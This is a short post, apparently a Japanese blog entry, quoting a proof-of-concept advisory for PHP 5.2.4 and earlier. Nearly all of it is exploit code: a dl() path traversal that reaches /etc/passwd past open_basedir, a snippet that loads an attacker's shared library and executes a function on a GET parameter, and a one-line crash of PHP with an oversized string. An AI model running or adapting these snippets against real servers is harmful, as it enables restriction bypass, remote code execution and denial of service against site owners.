/* PHP <=5.2.4 open_basedir bypass & code exec & denial of service errata ... working on windows too .. */ Sep

PHP 5.2においてDoSを受けたり、Open_basedirが無視されたりする脆弱性が存在するそうです。

3)Proof of concept
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/

Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library './../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/p
wned.so");
$a = powningfunction($_GET['lets_exec_for_fun']);
print_r($a);
?>

denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#